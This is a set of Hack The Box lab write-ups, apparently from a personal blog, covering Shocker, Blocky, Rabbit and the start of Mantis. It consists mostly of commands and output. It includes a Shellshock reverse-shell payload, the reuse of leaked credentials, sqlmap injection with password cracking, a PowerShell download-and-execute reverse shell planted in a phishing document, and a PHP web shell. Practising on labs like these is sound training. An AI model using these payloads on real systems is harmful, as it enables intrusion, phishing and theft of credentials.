HTB – Shocker

Today we are going to solve another CTF challenge “Shocker” which is lab presented by Hack the Box for making online penetration practices according to your experience level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Shocker lab.

Level: Beginners

Task: find user.txt and root.txt file in the victim’s machine.

Let’s  start with a basic nmap scan

c:\Users\jacco>nmap -sC -sV 10.10.10.56
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-27 22:03 W. Europe Summer Time
Nmap scan report for 10.10.10.56
Host is up (0.031s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.04 seconds

Next, we use the dirb tool of kali to enumerate the directories and found some important directories such as /cgi-bin, index.html, server-status

root@kali:~/htb/shocker# dirb http://10.10.10.56
-----------------
DIRB v2.22 
By The Dark Raver
-----------------
START_TIME: Tue May 28 12:56:05 2019
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.56/ ----
+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294) 
+ http://10.10.10.56/index.html (CODE:200|SIZE:137) 
+ http://10.10.10.56/server-status (CODE:403|SIZE:299) 
-----------------
END_TIME: Tue May 28 12:58:24 2019
DOWNLOADED: 4612 - FOUND: 3

root@kali:~/htb/shocker# dirb http://10.10.10.56/cgi-bin -X .sh
-----------------
DIRB v2.22 
By The Dark Raver
-----------------
START_TIME: Tue May 28 13:02:27 2019
URL_BASE: http://10.10.10.56/cgi-bin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.sh) | (.sh) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.56/cgi-bin/ ----
+ http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118) 
-----------------
END_TIME: Tue May 28 13:04:47 2019
DOWNLOADED: 4612 - FOUND: 1
root@kali:~/htb/shocker# curl http://10.10.10.56/cgi-bin/user.sh
Content-Type: text/plain

Just an uptime test script

15:57:06 up 6:12, 0 users, load average: 0.00, 0.00, 0.00

Let’s run the Shellshock command against this file and see if we can pull a reverse shell. I looked across the internet to find the string that causes the Shellshock bug and whipped something together.

The command I used looked like this:

root@kali:~/htb/shocker# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -i >& /dev/tcp/10.10.14.14/443 0>&1 " http://10.10.10.56:80/cgi-bin/user.sh
That invoked Shellshock, called a reverse shell to my netcat listener, and designated that it run against the file we found.
root@kali:~/htb/shocker# nc -lvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.56.
Ncat: Connection from 10.10.10.56:39634.
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ id
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

we can also do a manual exploitation with python script from https://www.exploit-db.com/exploits/34900
root@kali:~/htb/shocker# ./shellshock.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.3 lport=443 pages=/cgi-bin/user.sh
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/user.sh
[!] Successfully exploited
[!] Incoming connection from 10.10.10.56
10.10.10.56> id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

10.10.10.56> ls 
user.sh

10.10.10.56> cd /home
10.10.10.56> ls
shelly

10.10.10.56> cd shelly
10.10.10.56> cat user.txt
2ec*****233

10.10.10.56> sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl

10.10.10.56> sudo /usr/bin/perl -e 'exec "/bin/sh"'
10.10.10.56> id
uid=0(root) gid=0(root) groups=0(root)

10.10.10.56> cat /root/root.txt
52c*****a467

Author: Jacco Straathof

HTB – Blocky

Today we are going to solve another CTF challenge “Blocky ” which is available online for those who want to increase their skill penetration testing and black box testing. Blocky is a retried vulnerable lab presented by Hack the Box

Level : Easy

Since these labs are online available therefore they have static IP and IP of blocky is 10.10.10.37 so let’s begin with nmap port enumeration.

c:\Users\jacco>nmap -sC -sV 10.10.10.37
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-27 19:50 W. Europe Summer Time
Nmap scan report for 10.10.10.37
Host is up (0.030s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: BlockyCraft – Under Construction!
8192/tcp closed sophos
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.67 seconds

Knowing port 80 is open in victim’s network I opened it’s IP in the browser but didn’t get any remarkable clue on its welcome page.

Next, we use wfuzz to enumerate the directories and found some important directories such as /phpmyadmin, /wp-admin, /plugin/files and etc which you can confirm from below image.

c:\PENTEST>wfuzz -c -z file,directory-list-2.3-medium.txt --hc=404 http://10.10.10.37/FUZZ
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************

Target: http://10.10.10.37/FUZZ
Total requests: 220551

==================================================================
ID Response Lines Word Chars Payload
==================================================================

000003: C=200 313 L 3592 W 52256 Ch "# Copyright 2007 James Fisher"
000004: C=200 313 L 3592 W 52256 Ch "#"
000001: C=200 313 L 3592 W 52256 Ch "# directory-list-2.3-medium.txt"
000002: C=200 313 L 3592 W 52256 Ch "#"
000005: C=200 313 L 3592 W 52256 Ch ""
000181: C=301 9 L 28 W 309 Ch "wiki"
000232: C=301 9 L 28 W 315 Ch "wp-content"
000510: C=301 9 L 28 W 312 Ch "plugins"
000777: C=301 9 L 28 W 316 Ch "wp-includes"
001064: C=301 9 L 28 W 315 Ch "javascript"
007171: C=301 9 L 28 W 313 Ch "wp-admin"
010816: C=301 9 L 28 W 315 Ch "phpmyadmin"
013818: C=404
package com.myfirstplugin;

public class BlockyCore {
public String sqlHost = "localhost";
public String sqlUser = "root";
public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";
public BlockyCore() {}
public void onServerStart() {}
public void onServerStop() {}
public void onPlayerJoin()
{
sendMessage("TODO get username", "Welcome to the BlockyCraft!!!!!!!");
}
public void sendMessage(String username, String message) {}
}

Then I explore http://10.10.10.37/phpmyadmin and login into phpmyadmin server using above credential

Then opened the WordPress database for stealing username from here and I found a user login: Notch with user Id 1.

Now I try to access victim’s system  shell through SSH

PS C:\Users\jacco> ssh notch@10.10.10.37
notch@10.10.10.37's password:8YsqfCTnvxAUeduzjNSXe22
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

7 packages can be updated.
7 updates are security updates.

Last login: Sun Dec 24 09:34:35 2017
notch@Blocky:~$ cat user.txt
59f*****3cd5

notch@Blocky:~$ sudo -l
[sudo] password for notch:8YsqfCTnvxAUeduzjNSXe22
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL

notch@Blocky:~$ sudo su
root@Blocky:/home/notch# cd ..
root@Blocky:/home# cd ..
root@Blocky:/# cd root
root@Blocky:~# ls
root.txt
root@Blocky:~# cat root.txt
0a9*****cd5f

Author: Jacco Straathof

HTB – Rabbit

Today we are going to solve another CTF challenge “Rabbit” which is categories as retired lab presented by Hack the Box for making online penetration practices.

Level: Intermediate

Task: find user.txt and root.txt file on the victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Rabbit is is 10.10.10.71 so let’s start with  a basic nmap port enumeration.

c:\Users\jacco>nmap -sC -sV 10.10.10.71
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-13 15:54 W. Europe Summer Time
Nmap scan report for 10.10.10.71
Host is up (0.032s latency).
Not shown: 976 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Microsoft Exchange smtpd
| smtp-commands: Rabbit.htb.local Hello [10.10.14.20], SIZE, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, XRDST, XSHADOW,
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: RABBIT
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: Rabbit.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=Rabbit
| Subject Alternative Name: DNS:Rabbit, DNS:Rabbit.htb.local
| Not valid before: 2017-10-24T17:56:42
|_Not valid after: 2022-10-24T17:56:42
|_ssl-date: 2019-05-13T18:57:36+00:00; +5h00m01s from scanner time.
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: 403 - Forbidden: Access is denied.
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-05-13 18:55:06Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| ssl-cert: Subject: commonName=Rabbit
| Subject Alternative Name: DNS:Rabbit, DNS:Rabbit.htb.local
| Not valid before: 2017-10-24T17:56:42
|_Not valid after: 2022-10-24T17:56:42
|_ssl-date: 2019-05-13T18:57:33+00:00; +5h00m01s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
587/tcp open smtp Microsoft Exchange smtpd
| smtp-commands: Rabbit.htb.local Hello [10.10.14.20], SIZE 10485760, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, AUTH GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING,
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: RABBIT
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: Rabbit.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=Rabbit
| Subject Alternative Name: DNS:Rabbit, DNS:Rabbit.htb.local
| Not valid before: 2017-10-24T17:56:42
|_Not valid after: 2022-10-24T17:56:42
|_ssl-date: 2019-05-13T18:57:34+00:00; +5h00m01s from scanner time.
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
808/tcp open ccproxy-http?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
3306/tcp open mysql?
|_mysql-info: ERROR: Script execution failed (use -d to debug)
6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6002/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6003/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6004/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6005/tcp open msrpc Microsoft Windows RPC
6006/tcp open msrpc Microsoft Windows RPC
6007/tcp open msrpc Microsoft Windows RPC
8080/tcp open http Apache httpd 2.4.27 ((Win64) PHP/5.6.31)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.27 (Win64) PHP/5.6.31
|_http-title: Example
Service Info: Hosts: Rabbit.htb.local, RABBIT; OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1

Host script results:
|_clock-skew: mean: 5h00m01s, deviation: 0s, median: 5h00m00s
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.84 seconds
Let’s enumerate the web server with Gobuster:
root@kali:~/htb/rabbit# gobuster -e -k -u http://10.10.10.71:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.71:8080/
[+] Threads : 20
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded : true
[+] Timeout : 10s
=====================================================
2019/05/13 10:30:07 Starting gobuster
=====================================================
http://10.10.10.71:8080/index (Status: 200)
http://10.10.10.71:8080/Index (Status: 200)
http://10.10.10.71:8080/favicon (Status: 200)
http://10.10.10.71:8080/%!(NOVERB) (Status: 403)
http://10.10.10.71:8080/INDEX (Status: 200)
http://10.10.10.71:8080/joomla (Status: 301)
http://10.10.10.71:8080/*checkout* (Status: 403)
http://10.10.10.71:8080/complain (Status: 301)

We found a Complain Management System



root@kali:~/htb/rabbit# searchsploit 'complain management system'
------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------- ----------------------------------------
Complain Management System - Hard-Coded Credentials / Blind SQL injection | exploits/php/webapps/42968.txt
Complain Management System - SQL injection | exploits/php/webapps/41131.txt
root@kali:~/htb/rabbit# cat /usr/share/exploitdb/exploits/php/webapps/42968.txt 
# Exploit Title : Complain Management System Blind SQL Injection
# Date: 10 October 2017
# Exploit Author: havysec 
# Tested on: ubuntu14.04
# Vendor: https://sourceforge.net/projects/complain-management-system/
# Version: not supplied
# Download Software: https://sourceforge.net/projects/complain-management-system/files


## About The Product :
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.

## Vulnerability :
The functions.php file line 88 has hardcoded admin credentials.
elseif($uType == 'admin'){
//$_SESSION['user_id'] = $row['sid'];
if($userName == 'admin' && $password == 'admin123'){
$_SESSION['user_id'] = 0;
$_SESSION['user_name'] = 'Administrator';
$_SESSION['user_type'] = 'admin';
header('Location: '.WEB_ROOT.'index.php');
exit;

Using the hardcoded admin credentials we then have access to the view.php file that is vulnerable to Blind SQL injection.

As we read, the first thing will be to register as ‘ Customer ‘ and with the cookie PHPSESSID + sqlmap get access to the databases.

.

c:\SQLMAP>type rabbit.req
POST /complain/process.php?action=assignComplain HTTP/1.1
Host: 10.10.10.71:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.71:8080/complain/view.php?mod=admin&view=viewByCompID&compId=10
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Connection: close
Cookie: PHPSESSID=82k6csju4c0ccdepcbnan5k602
Upgrade-Insecure-Requests: 1

compId=10&compDesc=&engId=6&btnLogin=+Assing+Complain+
c:\SQLMAP>
c:\SQLMAP>python sqlmap.py -r rabbit.req --dbms=mysql -p "compId" --risk=3 --level=3 --batch -D secret --dump
___
__H__
___ ___[(]_____ ___ ___ {1.2.11.19#dev}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:16:49 /2019-05-15/

[15:16:49] [INFO] parsing HTTP request from 'rabbit.req'
[15:16:49] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://10.10.10.71:8080/complain/view.php?mod=admin&view=compDetails'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[15:16:50] [INFO] heuristics detected web page charset 'ISO-8859-2'
[15:16:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:16:50] [INFO] testing if the target URL content is stable
[15:16:51] [INFO] heuristic (basic) test shows that POST parameter 'compId' might be injectable (possible DBMS: 'MySQL')
[15:16:51] [INFO] testing for SQL injection on POST parameter 'compId'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n] Y
--snip--
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[15:18:21] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file 'c:\SQLMAP\txt\wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[15:18:21] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[15:18:21] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[15:18:21] [INFO] starting 4 processes
[15:18:2515:18:25] [] [INFOINFO] cracked password '] current status: 15091... /barcelona' for user 'Malek'
[15:18:31] [INFO] cracked password 'popcorn' for user 'Dumah'
[15:18:32] [INFO] cracked password 'santiago' for user 'Moebius'
[15:18:56] [INFO] cracked password 'pussycatdolls' for user 'Ariel'
Database: secret
Table: users
[10 entries]
+----------+--------------------------------------------------+
| Username | Password |
+----------+--------------------------------------------------+
| Zephon | 13fa8abd10eed98d89fd6fc678afaf94 |
| Kain | 33903fbcc0b1046a09edfaa0a65e8f8c |
| Dumah | 33da7a40473c1637f1a2e142f4925194 (popcorn) |
| Magnus | 370fc3559c9f0bff80543f2e1151c537 |
| Raziel | 719da165a626b4cf23b626896c213b84 |
| Moebius | a6f30815a43f38ec6de95b9a9d74da37 (santiago) |
| Ariel | b9c2538d92362e0e18e52d0ee9ca0c6f (pussycatdolls) |
| Turel | d322dc36451587ea2994c84c9d9717a1 |
| Dimitri | d459f76a5eeeed0eca8ab4476c144ac4 |
| Malek | dea56e47f1c62c30b83b70eb281a6c39 (barcelona) |
+----------+--------------------------------------------------+

[15:19:04] [INFO] table 'secret.users' dumped to CSV file 'C:\Users\jacco\.sqlmap\output\10.10.10.71\dump\secret\users.csv'
[15:19:04] [INFO] fetched data logged to text files under 'C:\Users\jacco\.sqlmap\output\10.10.10.71'

[*] ending @ 15:19:04 /2019-05-15/

Exploitation

Where do we use these obtained credentials now? Let’s try in
https://10.10.10.71/owa

We use found  valid credentials:

Ariel:pussycatdolls

Once we have entered to the /owa the first thing will be to check the mails:

As we read in these emails, we could use a malicious Open Office to get shell but considering the PowerShell constraint and the Windows Defender
In metasploit there’s an exploit that could work:

exploit/multi/misc/openoffice_document_macro

We rename the file obtained to zip and edit the file replacing the payload by:

powershell.exe IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.20/powercat.ps1');powercat -c 10.10.14.20 -p 1234 -e cmd
Because of the PowerShell constraint we must use the -version 2 option:
powershell.exe -version 2 IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.20/powercat.ps1');powercat -c 10.10.14.20 -p 1234 -e cmd

Send an email to all, containing our malicious .odt file:

Two years later, the answer to resolving headaches with attachments in Outlook Web Access (OWA) remains unchanged: Use Internet Explorer, not Edge, not Chrome, not Firefox.

And now we wait for it to be executed by an user. (This will take appprox 7 minutes, if it doesn’t after 10 reset the box.

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.71 - - [13/May/2019 14:45:17] "GET /powercat.ps1 HTTP/1.1" 200 -
C:\Users\jacco>nc -lvp 1234
listening on [any] 1234 ...
10.10.10.71: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.71] 20231: NO_DATA
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\OpenOffice 4\program>whoami
whoami
htb\raziel

c:\Users\Raziel\Desktop>type user.txt
type user.txt
c6f*****e9c

Post-Exploitation

c:\>dir wamp64
dir wamp64
Volume in drive C has no label.
Volume Serial Number is AEA8-5415

Directory of c:\wamp64

10/28/2017 11:13 AM <DIR> .
10/28/2017 11:13 AM <DIR> ..
10/28/2017 12:19 PM <DIR> alias
10/28/2017 11:13 AM <DIR> apps
12/31/2010 09:39 AM 4,790 barimage.bmp
10/28/2017 11:15 AM <DIR> bin
10/28/2017 11:13 AM <DIR> cgi-bin
01/08/2017 10:13 AM 28,470 images_off.bmp
01/08/2017 10:13 AM 28,470 images_on.bmp
09/01/2017 04:30 PM 3,978 install-english.txt
10/28/2017 11:13 AM <DIR> lang
11/06/2015 11:00 AM 8,156 license-english.txt
10/28/2017 11:18 AM <DIR> logs
09/01/2017 09:44 AM 5,741 mariadb_support_en.txt
09/01/2017 04:20 PM 1,289 read_after_install-english.txt
10/28/2017 11:13 AM <DIR> scripts
05/13/2019 12:44 PM <DIR> tmp
10/28/2017 11:16 AM 4,038,372 unins000.dat
10/28/2017 11:13 AM 1,401,105 unins000.exe
10/28/2017 11:13 AM 185 uninstall_services.bat
10/29/2017 10:32 PM 2,086 wampmanager.conf
09/03/2008 03:46 PM 1,233,408 wampmanager.exe
11/16/2017 07:57 PM 546,316 wampmanager.ini
08/30/2017 09:28 AM 29,431 wampmanager.tpl
05/13/2019 01:56 PM <DIR> www
14 File(s) 7,331,797 bytes
11 Dir(s) 25,699,479,552 bytes free

c:\>

We see that the Web service of port 8080 is served by Wamp64. Sometimes this service is run as system.
Let’s see if we have write permissions and who’s running it:

c:\>cacls wamp64
cacls wamp64
c:\wamp64 NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Administrators:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
BUILTIN\Users:(CI)(ID)(special access:)
FILE_APPEND_DATA

BUILTIN\Users:(CI)(ID)(special access:)
FILE_WRITE_DATA

CREATOR OWNER:(OI)(CI)(IO)(ID)F

c:\>

Let’s upload a php webshell:

c:\Python37>type puckie.php
  <?php echo shell_exec($_GET["cmd"]); ?>
c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.71 - - [13/May/2019 14:45:17] "GET /powercat.ps1 HTTP/1.1" 200 -
10.10.10.71 - - [13/May/2019 14:57:26] "GET /puckie.php HTTP/1.1" 200 -
c:\Users\Raziel\Desktop>certutil -urlcache -split -f http://10.10.14.20/puckie.php c:\wamp64\www\puckie.php
certutil -urlcache -split -f http://10.10.14.20/puckie.php c:\wamp64\www\puckie.php
**** Online ****
0000 ...
002c
CertUtil: -URLCache command completed successfully.
c:\Users\jacco>curl http://10.10.10.71:8080/puckie.php?cmd=whoami
  nt authority\system
c:\Users\jacco>curl http://10.10.10.71:8080/puckie.php?cmd=type%20c:\users\administrator\desktop\root.txt
0b2*****d54

Now we can read the flag and even get shell as System easily.

Author: Jacco Straathof

Reference used : https://ironhackers.es/en/writeups/writeup-rabbit-hackthebox/

HTB – Mantis

Today we are going to solve another CTF challenge “Mantis” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy until you don’t have some knowledge of Penetration testing. Let start and learn how to analyze any vulnerability in a network then exploit it for retrieving desired information.

Level: Intermediate

Task: find user.txt and root.txt file on the victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Mantis is 10.10.10.52 so let’s initiate with nmap port enumeration.

root@kali# nmap -sC -sV -oA nmap 10.10.10.52
# Nmap 7.70 scan initiated Tue May 7 13:08:49 2019 as: nmap -sC -sV -oA nmap 10.10.10.52
Nmap scan report for 10.10.10.52
Host is up (0.032s latency).
Not shown: 980 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15CD4)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-05-07 17:09:18Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM
| ms-sql-ntlm-info: 
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: MANTIS
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: mantis.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-05-05T21:17:25
|_Not valid after: 2049-05-05T21:17:25
|_ssl-date: 2019-05-07T17:10:12+00:00; +2s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
8080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Tossed Salad - Blog
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
Service Info: Host: MANTIS; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 48m02s, deviation: 1h47m21s, median: 1s
| ms-sql-info: 
| 10.10.10.52:1433: 
| Version: 
| name: Microsoft SQL Server 2014 RTM
| number: 12.00.2000.00
| Product: Microsoft SQL Server 2014
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery: 
| OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: mantis
| NetBIOS computer name: MANTIS\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: mantis.htb.local
|_ System time: 2019-05-07T13:10:15-04:00
| smb-security-mode: 
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled and required
| smb2-time: 
| date: 2019-05-07 13:10:12
|_ start_date: 2019-05-05 17:15:54

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 7 13:11:40 2019 -- 1 IP address (1 host up) scanned in 170.33 seconds

From the given below image, you can observe we found so many ports are open in the victim’s network.

First of all, we browse target IP through port 1337 in our web browser and saw following the image of IIS7 and although here I didn’t get any clue for next step therefore automatically next I move for directory buster.

Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on //10.10.10.52:1337

root@kali:~/htb/mantis# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.52:1337 -o gobuster-mantis.log

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.52:1337/
